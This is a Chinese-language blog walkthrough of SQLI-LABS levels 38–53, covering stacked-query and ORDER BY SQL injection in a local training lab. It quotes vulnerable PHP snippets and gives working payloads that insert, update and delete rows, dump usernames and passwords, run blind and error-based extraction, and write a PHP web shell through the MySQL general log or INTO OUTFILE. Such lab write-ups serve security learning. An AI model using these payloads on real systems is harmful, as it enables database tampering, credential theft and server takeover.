SQLI-LABS (Stacked Injections) 38-53关
John_Frod Lv4

SQLI-LABS (Stacked Injections) 38-53关

Less-38

  • 查看源码
1
2
3
4
5
6
7
# id 参数直接带入到 SQL 语句中
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));

发现这里使用了**mysqli_multi_query($con1, $sql)**函数,这个函数用于执行一个SQL语句,或者多个使用分号分隔的SQL语句。

  • 利用方法

理论上所有SQL语句都能执行,只不过不能显示结果出来而已。

example:添加字段值:

1
http://192.168.91.134/sqli-labs/Less-38/?id=1';insert into users(username,password) values ('hello','world');

image-20210305212154622

  • 开启日志Getshell

需要条件:

  1. Web 的物理路径
  2. MySQL 可以读写 Web 目录
  3. Windows 成功率 高于 Linux

首先查看当前日志的相关配置:

image-20210305212549907

这里的日志并没有开启,尝试注入的时候手动开启:

1
http://192.168.91.134/sqli-labs/Less-38/?id=1';set global general_log = "ON";set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\shell.php';--+

然后再查看日志配置是否被修改了:

image-20210305212932567

成功修改后尝试getshell:

1
http://192.168.91.134/sqli-labs/Less-38/?id=1';select <?php phpinfo();?>

查看里面的日志:

image-20210305213133319

此时已经成功写入了,访问该页面

image-20210305213247027

Less-39

本关与Less-38的区别只是参数的数据类型为数字型,其他都一样。

1
http://192.168.91.134/sqli-labs/Less-38/?id=1;insert into users(username,password) values ('hello','world');

Less-40

本关与Less-38的区别只是参数闭合方式为('$id'),其他都一样。

1
http://192.168.91.134/sqli-labs/Less-38/?id=1');insert into users(username,password) values ('hello','world');

此外还有一些二次注入的文件在里面,不过好像没啥用。

Less-41

本关与Less-39的区别只是屏蔽了错误信息显示,其他都一样。

Less-42

  • 查看源码
    • login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# username 被过滤 ' " \ password 没有被
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

# 堆叠查询
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))

if 查询成功:
return $row[1];
else:
print_r(mysqli_error($con1));

if 登录成功:
setcookie("Auth", 1, time()+3600);
跳转到 logged-in.php

这里的login_password参数没有进行过滤,同时使用了堆叠查询,因此可以从这里进行注入攻击。

1
login_user=admin&login_password=' union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

当然这里题目希望我们进行堆叠注入同样也是可以的:

1
login_user=admin&login_password=';login_user=admin&login_password=';Update users set password = 'hacked' where username = 'admin'#

这里把admin用户的密码改为了hacked。

image-20210306104434303

Less-43

本关和Less-42一样,只不过闭合方式换成了('$password')

1
login_user=admin&login_password=') union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-44

和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。

Less-45

本关与 Less-43 闭合方式一致为('$password'),只是这里少了报错注入的利用方法。

Less-46

  • 查看源码
1
2
3
4
5
6
7
8
9
10
# GET 方式获取 sort 参数
$id=$_GET['sort'];

# 直接将 id 带入 SQL 中
$sql = "SELECT * FROM users ORDER BY $id";

if 查询成功:
输出查询信息
else
print_r(mysql_error());

这里是在order by 注入,利用方法很多

报错注入

1
?sort=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))
  • procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 orde r by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。

1
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

盲注

  • 布尔盲注
1
2
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
  • 时间盲注
1
2
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

into outfile

1
?sort=1 into outfile "/var/www/html/less46.txt"

如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。

  • 利用导出文件 getshell

使用lines terminated by 姿势用于 order by 的情况来 getsgell:

1
?sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

image-20210306114842456

Less-47

本关和Less-46的区别在于参数由数字型变为了字符型,需要由'$sort'闭合,因此不能直接用?sort=rand(xxxxxx)这种方法进行注入,需要先把前面的字符先闭合了再使用and 接构造的语句?sort=1' and xxxx

1
http://192.168.91.134/sqli-labs/Less-47/?sort=1' and (select updatexml(1,concat(0x7e,(select concat(username,password) from users limit 0,1),0x7e),1))--+

Less-48

和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以。

Less-49

和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以。

Less-50

执行 sql 语句我们这里使用的是 **mysqli_multi_query()**函数,而之前我们使用的是 **mysqli _query()**,区别在于 **mysqli_multi_query()**可以执行多个 sql 语句,而 **mysqli_query()**只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 statcked injection。

1
http://192.168.91.134/sqli-labs/Less-50/?sort=1;insert into users(username,password) values ('hello1','world1');

image-20210306150439345

Less-51

这一关和 Less-50 相比只是参数数据类型变成了字符型,实际注入的时候只需做一下对应的闭合即可。

1
http://192.168.91.134/sqli-labs/Less-51/?sort=1';delete from users where username = 'hello1';

Less-52

和 Less-50 是一样的,只是少了报错注入的利用方式。

Less-53

和 Less-51 是一样的,只是少了报错注入的利用方式。

参考资料

  • Post title:SQLI-LABS (Stacked Injections) 38-53关
  • Post author:John_Frod
  • Create time:2021-03-07 18:59:17
  • Post link:https://keep.xpoet.cn/2021/03/07/SQLI-LABS (Stacked Injections) 38-53关/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.